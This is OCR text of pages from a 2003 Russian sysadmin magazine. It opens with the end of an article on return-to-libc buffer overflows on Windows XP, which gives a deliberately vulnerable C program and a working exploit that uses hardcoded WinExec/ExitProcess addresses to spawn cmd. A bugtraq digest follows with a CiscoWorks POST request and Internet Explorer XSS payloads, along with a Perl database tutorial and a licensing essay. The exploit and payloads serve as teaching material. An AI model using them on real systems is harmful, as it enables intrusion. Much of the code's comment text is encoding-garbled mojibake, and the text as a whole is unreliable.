extrn ExitProcess:procextrn WinExec:proc

.datadd 0

.codestart:

push 1push offset comm1call WinExec ; !!!!!

push 0call ExitProcess

comm1 db 'cmd',0end startend

Page 74: 010 Системный Администратор 09 2003

72

безопасность

Как вы можете видеть по схеме стека, в момент атакимы упустили первый параметр функции WinExec. А такжемы поставили адрес функции ExitProcess в качестве адре-са возврата из функции WinExec. После того, как консольбудет запущена, управление будет передано на функциюExitProcess, которая корректно завершит процесс.

Теперь рассмотрим простую уязвимую программу ипостроим для неё эксплоит, работающий через неиспол-нимый стек.

Рассмотрим листинг:

Откомпилируем её и выясним, что эта программа де-лает. Если её запустить без параметров, то она выведетследующее:

Запустим её следующим образом:

Тогда данная программа выведет:

При «aaaaa....aaaa» в количестве больше чем 256 бу-дет происходить переполнение буфера.

Теперь, когда у нас есть уязвимая программа, мы мо-жем реализовать эксплоит для неё, который будет дей-ствовать по описанному выше принципу.

Рассмотрим листинг эксплоита:

Как вы могли убедиться, для реализации данной ата-ки не нужно глубокое знание ассемблера для построенияshell-кода. Она гораздо легче реализуется, чем традици-онное переполнение буфера. Данный вид атаки на пере-полнение буфера гораздо более прогрессивный, но су-ществует некоторая сложность построения удалённых эк-сплоитов данного типа.

По-моему, данная атака представляет собой второедыхание эксплоитов, ориентированных на переполнениебуфера.

Для борьбы с атаками данного вида системные адми-нистраторы должны с большим вниманием следить заобновлением программного обеспечения.

При написании статьи использовались материалы:1. Non-stack Based Exploitation of Buffer Overrun

Vulnerabilities on Windows NT/2000/XP by David Litchfield([email protected]).

#include <stdio.h>#include <windows.h>

void vuln_func(char *stroka){

// áóôåðchar buffer[256];

// ôóíêöèÿ â ðåçóëüòàòå âûçûâàþùàÿ ïåðåïîëíåíèå áóôåðàlstrcpyA(buffer,stroka);

}

void main (int argc, char *argv[]){

// âûçîâ óÿçâèìîé ôóíêöèèvuln_func(argv[1]);printf("Parameter is : %s",argv[1]);

}

Parameter is : 0(null)

c:\x-files\bug.exe aaaaaaa

Parameter is : aaaaaaa

// example exploit by sl0n

#include <stdio.h>#include <windows.h>

void main(){

char garbage[1000];char buffer[500];

// àäðåñ ôóíêöèè WinExec äëÿ WIN XPchar r_address1[8]="\xC6\x84\xE6\x77";// àäðåñ ôóíêöèè ExitProcess äëÿ WIN XPchar r_address2[8]="\xB5\x5C\xE7\x77";// àäðåñ ñòðîêè "cmd" â ñòýêåchar pointer_to_cmd[8]="\x80\xfa\x12\x00";// Çàïîëíÿåì ñòðîêó ìóñîðîì (nop'û)memset(garbage,'\x90',256);// "cmd "strcat(buffer,"cmd ");// "cmd "+nop'ûstrcat(buffer,garbage);// "cmd "+nop'û+WinExecstrcat(buffer,r_address1);// "cmd "+nop'û+WinExec+ExitProcessstrcat(buffer,r_address2);// "cmd "+nop'û+WinExec+ExitProcess+....strcat(buffer,pointer_to_cmd);

strcpy(garbage,"BUG.EXE ");strcat(garbage,buffer);

//"BUG.EXE "+"cmd "+nop'û+WinExec+ExitProcess+point_cmd

WinExec(buffer,1);}

Page 75: 010 Системный Администратор 09 2003
Page 76: 010 Системный Администратор 09 2003

74

программирование

РАБОТА С БАЗАМИДАННЫХ НА PERL

ВЛАДИСЛАВ ГОШКО

Page 77: 010 Системный Администратор 09 2003

75№9(10), сентябрь 2003

программирование

В наше время базы данных широко используются в раз-ных сферах человеческой жизни. Самые простые базыданных – это просто файлы определенной структуры, асложные – это файлы, имеющие свой формат данных и,естественно, определенную структуру. В данной статье ярассмотрю работу с базами данных на языке программи-рования Perl. Для удобства пойдем от маленького к боль-шому. Для начала давайте рассмотрим обычный файл какбазу данных, т.е. обычный файл можно представить какопределенно сформатированый текст. Файл будет отфор-матирован следующим образом:

Почему разделителями я выбрал именно «|» и «#»?Потому что они не являются безопасными символами (изRFC 2396). По той же причине можно было выбрать раз-делителями любой символ, кроме латинских букв, цифр,и вот этих:

Эти разделители (кроме вышеописанных символов)могут использоваться в значениях или в именах пере-менных, только нужно будет использовать модульURI::Escape, для того чтобы переменные с этими раз-делителями не испортили структуру. Специально дляработы с нашими базами данных создадим модульsimple_db.pm. Итак, начнем:

Если вам нужно открывать файл с определеннымиправами, то в функциях opendb() и closedb() нужно про-сто заменить open на sysopen по следующему формату:sysopen FILEHANDLE, FILENAME, MODE, PERMS; и все.Использование довольно простое, возьмем какой-нибудьфайл test.pl. В этой же директории должен лежать и мо-дуль simple_db.pm. Вот test.pl:

Данным образом будет создан файл test.db в текущейдиректории. С переменной «supa|var» и значениями«speacial#» и «tes#t», и т. д. Я специально использовалнебезопасные символы, а со второй и третьей перемен-ной все в порядке – там нет небезопасных символов...

А теперь давайте посмотрим, что записано в файлеtest.db:

Name1|Value1#Value2#Value3#...#ValueNName2|Value1#Value2#Value3#...#ValueNName3|Value1#Value2#Value3#...#ValueN...NameN|Value1#Value2#Value3#...#ValueN

";", "/", "?", ":", "@", "&", "=", "+", "$", ",","-", "_", ".", "!", "~", "*", "'", "(", ")"

#!/usr/bin/perl

# ñîçäàåì ïàêåòpackage simple_db;

use Exporter;# êàê è ãîâîðèëîñü, èñïîëüçóåì ìîäóëü äëÿ ïåðåâîäà íåáåçîïàñíûõ# ñèìâîëîâ â ôîðìàò %XXuse URI::Escape;

@ISA=("Exporter");@EXPORT=qw(&opendb &closedb %g);# ýêñïîðòèðóåì èñïîëüçóåìûå ôóíêöèè, à òàêæå õåø %g, äëÿ òîãî# ÷òîáû ôóíêöèÿ çíàëà, â êàêîé ôàéë çàïèñûâàòü èçìåíåíèÿ# õåøà, ââîäèìîãî â àðãóìåíòàõ

sub opendb{my($h,$file)=@_;my($name,$vals,@values);local(*DB);open(DB,$file) or return 0;# áëîêèðóåì ôàéë íà òîò ñëó÷àé, åñëè âî âðåìÿ ÷òåíèÿ# êòî-òî çàõî÷åò èçìåíèòü ôàéë (ñîâìåñòíàÿ áëîêèðîâêà –# äëÿ ÷òåíèÿ)flock(DB,1);while(<DB>){

chomp;($name,$vals)=split(/\|/,$_,2);next if !$name;$name = uri_unescape($name);@values = split(/#/,$vals);# åñëè çíà÷åíèé ìíîãî, ñîçäàåì àíîíèìíûé ìàññèâ,# èíà÷å ïðîñòî ïðèñâàèâàåì îäíî çíà÷åíèåif($#values){

for(0..$#values){# ïåðåâîäèì ñèìâîëû èç %XX-ôîðìàòà# â íîðìàëüíûé âèä$values[$_]=uri_unescape ↵

($values[$_]);}

$$h{$name}=[@values];}else{

$vals = uri_unescape($vals);$$h{$name}=$vals;

}}close(DB);# çàïèñûâàåì â ãëîáàëüíûé õåø àññîöèàöèþ ññûëêè íà õåø# ñ îòêðûòûì ôàéëîì$g{$h}=$file;

}

sub ñlosedb{my($h)=@_;my($key,$val,$fn);# ïî èìåíè õåøà ïîëó÷àåì èìÿ ôàéëà$fn = $g{$h};local(*DB);# âûõîäèì èç ôóíêöèè, åñëè ôàéëà íå ñóùåñòâóåòreturn if !(-e $fn);open(DB,">$fn") or return 0;# çàìûêàåì ôàéë# (ìîíîïîëüíàÿ áëîêèðîâêà – äëÿ çàïèñè)flock(DB,2);while(($key,$val) = each %$h){

# îáðàòíî ñîçäàåì ôîðìàò, ïåðåâîäÿ íåáåçîïàñíûå# ñèìâîëû â ôîðìàò %XXprint DB uri_escape($key)."|";if(ref $val){

for(0..$#$val){$$val[$_]=uri_escape($$val[$_]);

}print DB join "#",@$val;

}else{$val=uri_escape($val);print DB $val;

}print DB "\n";

}close(DB);

}1;

#!/usr/bin/perl

use simple_db;

# îòêðûâàåì ôàéë test.db è àññîöèèðóåì ñ íèì õåø %h,# èíà÷å óìèðàåìopendb(\%h,"test.db") or die $!;# äîáàâëÿåì çíà÷åíèÿ â õåø$h{'supa|var'}=["special#","tes#t"];# òàêæå ëåãêî ìîæíî äîáàâèòü ìàññèâ@tmp = ("array","tester");# äîáàâèëè ...$h{'arr'}=\@tmp;# èëè äîáàâëÿåì ìàññèâ òàê$h{'arr2'}=["some","vars"];closedb(\%h) or die $!;

supa%7Cvar|special%23#tes%23tarr|array#testerarr2|some#vars

Page 78: 010 Системный Администратор 09 2003

76

программирование

Т.е. эти символы не помешали нашей структуре фай-ла, они всего лишь были переведены в %XX-формат. Атеперь просмотрим всю базу:

При выводе база будет выглядеть так:

Очищаем базу, просто очищая хеш, т.е. %h=(), илиможно просто удалить файл следующим образом:

А при открытии базы открыть файл в режиме созда-ния, т.е. перед opendb() сделать следующее:

Но эта база не может претендовать на большую ско-рость и большие размеры и, как вы уже успели заме-тить, в ней не могут быть созданы сложные структуры.Данная база данных вполне подойдет для небольшихобъемов информации, например, для небольших сайтовили веб-сервисов. С помощью классов можно создатьсвою вполне приличную базу данных. А теперь давайтерасмотрим другие базы данных. Начнем с портирован-ной в вашу систему базу данных (их может быть несколь-ко). Функция dbmopen() довольна стара и поэтому по-зволяет использовать лишь ту библиотеку DBM, c кото-рой был построен Perl. Но по ходу статьи рассмотрим иболее новые методы.

Вот пример с dbmopen():

Также в начале программы можно добавить: useNDBM_File; или use SDBM_File; или use GDBM_File; илиuse DB_File; – данные модули просто переопределяютстандартный вариант, с которым был построен Perl. Естьтакже другой способ открытия базы данных – tie и untie.Делается это так:

Очищаются базы так же, как и в моем примере, т.к. ясвой пример делал по подобию этих баз. Но так же, как имой пример, данные базы не могут хранить сложныеструктуры. Для этого требуется модуль DB_File и модульMLDBM. Модуль MLDBM может хранить в хеше болеесложные структуры, чем просто числа и скаляры. Еслиего у ваc нет, то вы можете его скачать из Интернета:запускаете программу ppm из дистрибутива Perl. И пи-шите: «install MLDBM» – все должно пройти успешно. Ис-пользование вот такое:

Таким образом была создана база данных glob.db, вкоторой есть ключ «users», в котором есть пользователь«synthetic» с еще одним вложенным хешем, в котором естьключ «password» со значением «matrix reloaded». Такаяструктура очень удобна и легко запрашиваема. Далеепосмотрим, как мы проверяем то, что создали:

#!/usr/bin/perl

use simple_db;

opendb(\%h,"test.db") or die $!;while(($key,$val) = each %h){

print $key." = ";if(ref $val){

# çäåñü, åñëè çíà÷åíèå ïåðåìåííîé ññûëêà íà ìàññèâprint join " ; ",@$val;

}else{print $val;

}print "\n";

}closedb(\%h) or die $!;

supa|var = special# ; tes#tarr = array ; testerarr2 = some ; vars

unlink "test.db" or die $!;

# $filename - â äàííîì ñëó÷àå èìÿ íàøåãî ôàéëàif(!(-e "$filename")){

open(FILE,">$filename") or die $!;close(FILE);

}

#!/usr/bin/perl

use Fcntl;# ñïåöèàëüíî äëÿ òàêèõ ïåðåìåííûõ, êàê O_RDWR, O_CREAT# O_RDWR - ïðàâà: ÷òåíèå, çàïèñü# O_CREAT - ñîçäàòü ôàéë, åñëè îí íå ñóùåñòâóåò

dbmopen(%HASH,$FILENAME,O_RDWR|O_CREAT, 0666) or die ↵"Cant open $FILENAME: $!\n";

# çàíîñèì äàííûå â áàçó äàííûõ$HASH{KEY}="VALUE";# ïðîâåðÿåì, ñóùåñòâóåò ëè êëþ÷if(exists $HASH{KEY}){

# ÷òî-òî äåëàåì ñ èíôîðìàöèåé, ïîëó÷åííîé èç áàçû äàííûõ$info = $HASH{KEY};

}

# óäàëÿåì êàêîé-íèáóäü êëþ÷ èç áàçûdelete $HASH{SOME_KEY};dbmclose(%HASH);

#!/usr/bin/perl

use DB_File;# çäåñü ýòî îáÿçàòåëüíî, ò.ê. â ôóíêöèè tie() ìû çàäàåì ìîäóëüuse Fcntl;

tie(%HASH,"DB_File",$FILENAME,O_RDWR|O_CREAT, 0666) or ↵die "Can't open $FILENAME: $!\n";

# âñå òå æå ìàíèïóëÿöèè ñ õåøåì, êîòîðûå îïèñûâàëèñü âûøå# ...# à ïîòîìuntie(%HASH);

#!/usr/bin/perl

use MLDBM 'DB_File';use Fcntl; # äëÿ O_RDWR, O_CREAT è ò.ä.

tie(%h, "MLDBM", "glob.db", O_RDWR|O_CREAT, 0666) or ↵die "Couldn't tie DB_File $users: $!; aborting";

$usr{synthetic}->{password}="matrix reloaded";$h{users}=\%usr;untie %h;

#!/usr/bin/perl

use MLDBM 'DB_File';use Fcntl; # äëÿ O_RDWR, O_CREAT è ò. ä.

$access=0;tie(%h,"MLDBM","glod.db",O_RDWR|O_CREAT,0666) or ↵

die "Couldn't tie DB_File $users: $!; aborting";while(($key,$val) = each %h){

if($key eq "users"){if($val->{synthetic}->{password} eq ↵

"matrix reloaded"){$access=1;last;# åñëè âñå ïðàâèëüíî, çàâåðøàåì öèêë

}}

}untie(%h);if($access){

print "Matrix has you...";}else{

Page 79: 010 Системный Администратор 09 2003

77№9(10), сентябрь 2003

программирование

С удалением нужно немного по-другому, через вре-менный хеш:

Добавлять тоже через временный хеш:

И в моем примере, и в других базах используется ра-бота с хешами, поэтому давайте рассмотрим несколькопримеров работы с хешами...� Сортировка ключей хеша по алфавиту:

� Сортировка по ассоциированным значениям:

� Сортировка по длине значений (почти также, как и про-сто по значениям):

Дальше рассмотрим небольшие примеры работы сбазами данных MySQL, при помощи модуля DBI и драй-вера для работы с MySQL – DBD::mysql. Эти модули так-же можно установить через ppm. А теперь посмотрим при-мер работы с MySQL:

Не особо сложными манипуляциями добавляем дан-ные в тэйбл:

Выбираем из базы:

Удаляем тэйбл, если он существует:

Вот, собственно, и все, в данной статье я не стал осо-бенно глубоко рассматривать работу с базами SQL, пото-му как это довольно большая тема и требует отдельнойстатьи (если не книжки). Удачи в создании систем управ-ления базами данных!

print "Follow the white rabbit";}

tie(%h,"MLDBM","glob.db",O_RDWR|O_CREAT,0666) or ↵die "Couldn't tie DB_File $users: $!; aborting";

%tmp=%h;delete $tmp{users}->{'somebody'};%h=%tmp;untie %h;

tie(%h,"MLDBM","glob.db",O_RDWR|O_CREAT,0666) or ↵die "Couldn't tie DB_File $users: $!; aborting";

%tmp=%h;$tmp{users}->{'morpheus'}->{password}='zion';%h=%tmp;untie %h;

foreach $key (sort keys %unsorted){$val = $unsorted{$key};# çäåñü ïåðåáîðêà êëþ÷åé õåøà ïî àëôàâèòó# äåëàåì ÷òî-òî c $key è $val

}

foreach $key (sort {$unsorted{$a} cmp $unsorted{$b} } ↵keys %unsorted){$val = $unsoreted{$key};# ÷òî-òî äåëàåì ñ $key è $val...

}

foreach $key (sort {length($unsorted{$a}) ↵<=> length($unsorted{$b}) } keys %unsorted){$val = $unsoreted{$key};# ÷òî-òî äåëàåì ñ $key è $val...

}

#!/usr/bin/perl

use DBI;

# íàñòðîéêè SQL ñåðâåðà #####################################$user = "synthetic"; # ëîãèí è$password = "test"; # ïàðîëü äëÿ äîñòóïà ê ñåðâåðó$host = "localhost"; # àäðåñ SQL-ñåðâåðà$db = "site"; # áàçà äàííûõ, ñ êîòîðîé ñîåäèíÿåìñÿ$port = 3306; # ïîðò (âçÿò ïî óìîë÷àíèþ)$driver = "mysql"; # ýòî äðàéâåð äëÿ áàçû äàííûõ, ò.å.

# âû ìîæåòå óêàçàòü äðàéâåð ñâîåé# áàçû è ñïîêîéíî ñîåäèíÿòñÿ ñ íåé# (åñòåñòâåííî çíàÿ åå ñåìàíòèêó)

##########################################################

# äàííûå - ïðîñòî äëÿ ïðîâåðêè$login = "Vlad";$pass = "isitreal";

$conn = "DBI:$driver:database=$db;host=$host;port=$port";

# RaiseError => 1 - ñîîáùàòü îá îøèáêàõ$dbh = DBI->connect($conn, $user, $password, ↵

{RaiseError => 1});# çàäàëè íàçâàíèå òýéáëà - äëÿ äàëüíåéøåãî èñïîëüçîâàíèÿ$table = "users";# ñîçäàåì òýéáë "users"$query = "CREATE TABLE .$table(username char(16) ↵

not null,pass char(16) not null)";# ñîçäàëè$dbh->do($query);# îòñîåäèíèëñü$dbh->disconnect();

# âñÿ ïðåäûäóùàÿ èíèöèàëèçàöèÿ$query = sprintf("INSERT INTO .$table (username, pass) ↵

VALUES ('%s', '%s')", $login, $pass);# âûïîëíèëè...$dbh->do($query);# è ò. ä.

# âñÿ ïðåäûäóùàÿ èíèöèàëèçàöèÿ.# ñîçäàåì çàïðîñ ê áàçå è âûáèðàåì âñå èç òýéáëà users$sth = $dbh->prepare("select * from .users");# âûïîëíèëè$sth->execute();while($row = $sth->fetchrow_arrayref()){

# â äàííîì ñëó÷àå:# $row->[0] - ëîãèí (username)# $row->[1] - ïàðîëü (pass)print $row->[0]." ".$row->[1];

}# îáÿçàòåëüíî (!) ãîâîðèì, ÷òî çàâåðøèëè$sth->finish();

# âñÿ ïðåäûäóùàÿ èíèöèàëèçàöèÿ$query = "DROP TABLE IF EXISTS .$table";# âûïîëíèëè...$dbh->do($query);# è ò.ä.

Page 80: 010 Системный Администратор 09 2003

Удаленный доступ к системев CiscoWorks 2000 Common ManagementFoundationУязвимость обнаружена в CiscoWorks 2000 CommonManagement Foundation. Удаленный пользователь можетполучить поднятые привилегии на системе. Удаленный ав-торизованный пользователь может выполнить произволь-ный код на системе.

CSCdy33916: В конфигурации по умолчанию включе-на учетная запись гостя с пустым паролем. Удаленныйпользователь может получить доступ к учетной записигостя. Используя учетную запись гостя, удаленный пользо-ватель может представить специально обработанныйPOST-запрос, чтобы получить привилегии администрато-ра. Например, удаленный пользователь может получитьинформацию о всех пользователях системы.

CSCea15281: Cisco сообщает, что удаленный автори-зованный пользователь может представить специальнообработанный URL, чтобы выполнить команды на систе-ме с привилегиями «casuser» учетной записи. Удаленныйпользователь может, например, просмотреть конфигура-цию устройства, хранящуюся в базе данных в локальномархиве. Пример:

Уязвимость обнаружена в CiscoWorks 2000 2.1 и бо-лее ранних версиях.

POST /CSCOnm/servlet/ ↵com.cisco.nm.cmf.servlet.CsAuthServlet HTTP/1.0

Accept-Language: enContent-Type: application/x-www-form-urlencodedAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: 10.10.10.1:1741Content-Length: 114Proxy-Connection: Keep-AlivePragma: no-cacheCookie: jrunsessionid=1057059156201223367

Доступ к произвольным частям памятивеб-сервера через PHP-функцию DLOpen()Уязвимость обнаружена в PHP-функции DLOpen. Атаку-ющий может заставить процесс Apache выполнить про-извольный код.

Используя функцию dlopen() в PHP, атакующий можетполучить доступ к памяти процесса Apache (или другогоиспользуемого веб-сервера). Первый способ записываетдамп процесса в /tmp (работает в Apache 1.x и Apache 2.x),а второй способ моделирует дефейс (работает на в Apache1.x, но из-за обработки кода возврата не работает наApache 2.x).

Уязвимость обнаружена в PHP 4.0-4.3.1.

Составил Александр Антипов

Межсайтовый скриптингв Microsoft Internet ExplorerМежсайтовый скриптинг обнаружен в Microsoft InternetExplorer в about:blank странице. Атакующий может выпол-нить произвольный код сценария в браузере целевогопользователя. Пример:

Код будет выполнен в контексте локальной зоны бе-зопасности.

Уязвимость обнаружена в Internet Explorer version6.0.2600.x (without SP1), Internet Explorer version 5.0.x,Internet Explorer version 4.x, Internet Explorer version 3.x.

Internet Explorer version 6.0.2600.x c SP1 неуязвим к об-наруженной проблеме.

about:blank%20< script>alert('8-D uhh !');</script>about:blank%20< iframe src="about:blank%20<h1>;- )"></iframe>about:blank%20< h1>XSS is behind you...</h1>

Удаленное выполнение произвольногокода в Network Associates McAfee ePolicyOrchestratorНесколько уязвимостей обнаружено в Network AssociatesMcAfee ePolicy Orchestrator. Удаленный пользователь мо-жет выполнить произвольный код с System-привилегиями.

@stake обнаружил три уязвимости, две затрагиваютePolicy Orchestrator (ePO)-сервер и одна ePO-клиент. Обепрограммы по умолчанию установлены с системнымипривилегиями.

На версиях 2.x и 3.0 ePO-сервера удаленный пользо-ватель может получить доступ к MSDE system administratorучетной записи, используя следующие шаги: удаленныйпользователь может представить специально обработан-ный HTTP-запрос к серверу, чтобы получить конфигура-ционный файл сервера, который содержит кодированныйпароль MSDE администратора (CVE: CAN-2003-0148). Па-роль зашифрован с секретным ключом, который хранит-ся в DDL на системе, позволяя удаленному пользователюдешифровать зашифрованный пароль и получить доступк паролю MSDE system administrator. В конфигурации поумолчанию удаленный пользователь может получить до-ступ к xp__cmdshell, чтобы выполнить произвольные ко-манды операционной системы с System-привилегиями.

Также сообщается, что версии 2.х ePO-сервера содер-жат уязвимость форматной строки в обработке парамет-ра ComputerList. Удаленный пользователь может предста-вить специально обработанный HTTP POST-запрос к сер-веру, чтобы выполнить произвольный код (CVE: CAN-2003-0616).

Также сообщается, что удаленный пользователь мо-жет представить специально обработанный HTTP-запроск версии 3.0 ePO-агента, чтобы просматривать произволь-ные файлы на системе. (CVE: CAN-2003-0610).

Уязвимость обнаружена в McAfee ePolicy Orchestrator2.0, 2.5, 2.5.1, and 3.0.

Для устранения уязвимости установите соответству-ющее обновление, которое можно скачать отсюда: http://www.networkassociates.com/us/downloads/updates/hotfixes.asp

78

bugtraq

Page 81: 010 Системный Администратор 09 2003
Page 82: 010 Системный Администратор 09 2003

80

образование

Да ну, я микрософт согну и гайки закручу!!!(Microsoft vs GNU Public License)

Общаясь со многими людьми, я заметил, что многие не знают о тех подводных камнях, которыезаложены в их любимых «окошках», а подчас и не догадываются, что существует альтернативавыбора и что на серверах используется что-то отличное от их представлений. Этот факт и подвигменя написать эту статью для просвещения масс в тех моментах, на которые у них простофизически не хватает времени. Ведь не секрет, что во время установки почти никто не читаетлицензионных соглашений. Я буду считать статью удавшейся, если вы, читатели, сможетене только посмеяться над написанным, где-то над собой, но и задуматься.

ПАВЕЛ ЗАКЛЯКОВ

СКУПОЙ ПЛАТИТ ДВАЖДЫ,А УМНЫЙ ИСПОЛЬЗУЕТGNU PUBLIC LICENSE

Page 83: 010 Системный Администратор 09 2003

81№9(10), сентябрь 2003

образование

За последнее время наблюдается противостояние двухсторон: закрытых продуктов Microsoft (и других компаний)и открытых продуктов, распространяемых по лицензииGNU. Нельзя сказать, чтобы это противостояние было рав-ным. Несмотря на всю комичность ситуации, на мойвзгляд, это сражение не стоит на месте и люди постоянновыбирают не ту сторону.

Связано это с особенностями человеческой психоло-гии, и выбор отнюдь не основывается на разумности идальновидных взглядах. Скорее ситуацию можно описатьизвестной фразой «После нас хоть потоп».

«Это происходит оттого, что все человеческие деладелаются людьми, которые имели и всегда будут иметьодни и те же страсти, и поэтому они неизбежно должныдавать одинаковые результаты». [1].

Желание «откупиться от проблем» и навязывания намтакого образа жизни Америкой как правильного приво-дит к тому, что люди готовы платить другим фирмам, ко-торые будут решать за них их проблемы. В то время какфирмы, получающие деньги, увидев эту зависимость, за-хотят получать деньги постоянно, для чего будут выходитьв свет обновления и различные не очень нужные измене-ния. Они даже попытаются установить монополию на своипродукты, чтобы завоевать максимум пользователей ичтобы их продукты стояли на большинстве компьютеров.

«Стремление к завоеваниям – вещь, конечно, оченьестественная и обыкновенная; когда люди делают для это-го всё, что могут, их всегда будут хвалить, а не осуждать;но когда у них нет на это сил, а они хотят завоевывать вочто бы то ни стало, то это уже ошибка, которую надо осу-дить». [1].

Сложно сказать, есть ли у Miscrosoft силы на завоева-ния всего мира, но, видимо, нет, так как до сих пор встре-чаются другие операционные системы и продукты другихфирм. Так что моя задача осудить их позицию в этой ста-тье и призвать людей, читающих и мыслящих, к правиль-ному выбору. Я отнюдь не хочу неаргументированных вос-клицаний вроде «Microsoft suxx», а постараюсь делать вы-воды обоснованно, чтобы людям стало смешно и тошнооттого, что они не замечали всего описанного ниже ра-нее.

Для сравнения позиций я бы хотел взять две лицензиии прокомментировать существенные моменты. Первая ли-цензия будет GNU Public License в русском переводе, вто-рая может быть любой из семейства Windows. Я рассмот-рел несколько вариантов перевода GNU Public License [3]:Гинзбурга В.Р. [2], Тяпкиной Елены [4] и Середы Сергея[5]. Мой выбор пал на перевод Елены Тяпкиной. Со сто-роны Microsoft я решил выбрать лицензионное соглаше-ние Microsoft Windows XP Home Edition. [7].

Для простоты изложения я буду говорить, что «Microsoftили GNU пишет», подразумевая соответствующие вышеэтим словам лицензии.

Итак, мы с первых строчек лицензий видим кнуты ипряники.

Microsoft: «Настоящее лицензионное соглашение (да-лее «лицензионное соглашение») является юридическимсоглашением».

GNU: «Большинство лицензий на программное обес-

печение лишаeт вас права распространять и вносить из-менения в это программное обеспечение. СтандартнаяОбщественная Лицензия GNU, напротив, разработана сцелью гарантировать вам право совместно использоватьи вносить изменения в свободное программное обеспе-чение, т.е. обеспечить свободный доступ к программно-му обеспечению для всех пользователей».

Сопоставлять предложения одно против другогосложно в силу разности лицензий, поэтому проще вна-чале описать все минусы и плюсы одной лицензии, апотом то же самое сделать для другой лицензии. Темсамым предоставив читателю информацию для выбораи размышления.

Microsoft: «... лицензионное соглашение ... относитель-но ... программного продукта ... который включает в себя... любые печатные материалы, любую «встроенную» или«электронную» документацию и службы в Интернете».

Мол, всё, что напечатали, всё включается. Чёткой гра-ни я не вижу, что включать, а что нет, ну да ладно с доку-ментацией, а как быть со службами в Интернете? Они вы-ложат у себя на сайте какую-то часть в виде CGI или как-то ещё, с которой будет взаимодействовать мой продукт,а я и в глаза не буду знать, что их продукт делает. Ноникого этот пункт в лицензии не пугает.

Единственный плюс дальше, что если я не согласен, то:Microsoft: «Не устанавливайте и не используйте дан-

ный продукт; вы можете вернуть его лицу, у которого выприобрели продукт, и получить обратно уплаченные вамиденьги».

Про копирование ничего не сказано. Возможно, этотмомент защищается другими законами и актами.

Однако если я поставил продукт и/или попользовал-ся, то вроде как я уже вернуть его не могу. Так что толкув этой фразе никакого нет. Ну разве что, если у меня ко-робочная версия продукта, то я могу посмотреть, что замакулатуру понапихали мне в неё и отказаться, если меняона не устроила. Даже могу полюбоваться цветом ком-пакт-диска.

Microsoft: «Запрещается использовать продукт одно-временно более чем 1 (одним) процессором одной рабо-чей станции».

А как мне быть, если я запускаю продукт под эмуля-цией? Что понимать под рабочей станцией? Всё, чтоне в корпусах под стойку? Сервер можно и из ноутбукасделать.

Microsoft: «К рабочей станции разрешается подклю-чать не более 5 (пяти) компьютеров или других электрон-ных устройств (далее «устройство») для использованияслужб данного продукта, причем исключительно для дос-тупа к файловым службам, службам печати, службам IIS,а также к службам удаленного доступа (включая общийдоступ к подключению и телефонные службы). Макси-мальное количество подключений, равное пяти, включа-ет любые косвенные подключения, производимые через«мультиплексирующее» или иное программное или аппа-ратное обеспечение, позволяющее осуществлять коллек-тивный доступ или поочередные подключения».

В общем, хороший веб-сервер я сделать не могу, таккак не более 5 подключений к IIS. Разве что для тестиро-

Page 84: 010 Системный Администратор 09 2003

82

образование

вания вводят возможность установки «урезанного» веб-сервера. Файл-сервер для домашней сети тоже нельзя,вдруг у вас через сетевое окружение 6 соседей будут что-то скачивать.

Microsoft: «Обязательная активизация. ... Активиза-ция продукта может быть выполнена через Интернет илипо телефону (телефонные переговоры оплачиваютсявами). В случае изменения аппаратного обеспечения ком-пьютера или продукта может потребоваться повторная ак-тивизация продукта».

Понимаем это так: обязательно отдаём сведения фир-ме Microsoft, среди которых размеры нашей памяти, про-изводительность и другие параметры, чтобы та, увидев,что если массово аппаратные возможности превосходятпрограммные и продукт не дай Бог работает быстро, мог-ла бы добавить нужные, на её взгляд, для пользователяфункции, чтобы привнести соответствие. Несомненно, чтособирание различных сведений может рассматриватьсякак открытая форма шпионажа против стран, в которыепоставляются продукты.

Microsoft: «Лицензия на продукт неделима и не до-пускает одновременного её использования на несколькихрабочих станциях».

Если у вас компьютер дома, на работе, на даче и навторой квартире, у бабушки и у дедушки, у сестры и бра-та, то вы купите столько лицензий, в скольких местах выбудете ставить продукт и пользоваться им. Либо носитесвой компьютер с собой. Это всё равно что если вашумашину страхуют на стоянке или в гараже одной страхов-кой, при поездке на дачу – другой, поездке на работу –третьей, в булочную – четвёртой и т. д., ведь стоянка убулочной более опасная, чем закрытый гараж.

Microsoft: «Сохранение прав. Все права, которые непредоставлены явно настоящим лицензионным соглаше-нием, сохраняются за корпорацией Майкрософт».

Забудьте про свои права. У вас есть только право пла-тить деньги и покупать лицензии за сервис как есть и зато, что вам ничего не обещают, но об этом ниже.

Microsoft: «Обновления. Если программный продуктявляется обновлением, для его использования вам необ-ходимо иметь соответствующую лицензию на продукт,указанный корпорацией Майкрософт как подпадающийпод предложение об обновлении. После обновления зап-рещается использовать продукт, являющийся основани-ем вашего права на обновление».

Вы хотите использовать два браузера: старый дляобычного просмотра страниц, так как он меньше и быс-трее грузится, а новый – когда у вас что-то не отобража-ется? У вас так не получится. Определитесь чётко! Либоновая версия, либо старая. А то, что в новом продуктевас может что-то не устроить, то у вас есть право неиспользовать новый продукт.

Microsoft: «Дополнительное программное обеспечениеи службы. Настоящее лицензионное соглашение распро-страняется также на предназначенные для продукта об-новления, добавления, дополнительные компоненты икомпоненты служб в Интернете».

Если вы хотите создать доверенный продукт и защи-тить свой компьютер по какому-то классу безопасности

[14,15,16], то это будет затруднительно в случае его под-ключения к сети Интернет, так как вы же не можете про-верить службы в Интернете, которые могут меняться пожеланию Microsoft. Но это не самое страшное, дальше ещёинтереснее.

Microsoft: «Корпорация Майкрософт оставляет за со-бой право прекратить работу любой службы в Интернете,предоставленной или доступной вам посредством исполь-зования продукта».

Хотите за бесплатно DoS-атаку, с которой вы согласи-лись в этом пункте? Вам надо послать почту или сообще-ние, а вам в ответ: «Мы подумали и решили вам не пере-давать сообщения». Если начнутся военные действия, тогде гарантии, что не последуют массовые сбои компью-теров? «Ирак покупал у французов истребители «Мираж»незадолго до начала «Бури в пустыне». Когда конфликтначался, ни один мираж не взлетел [9]». Отказали нави-гационные приборы, система управления бортовым ору-жием, а также связное оборудование и обычные элект-ронные АТС, тоже, заметьте, французского производства.В перепечатке из NewScientist [10] под заголовком «Теле-фон-граната» [11] сообщается, что Майкл Сэйлор с кол-легами из Калифорнийского университета в Сант-Диегообнаружили взрывчатое свойство кремния, обработанногонитратом гадолиния. Изготовленные из такого материа-ла микрочипы-камикадзе способны взрываться под дей-ствием электрического импульса, нарушая работу исполь-зующего их оборудования связи, коммуникации, управ-ления и т. д. Теперь любая купленная аппаратура 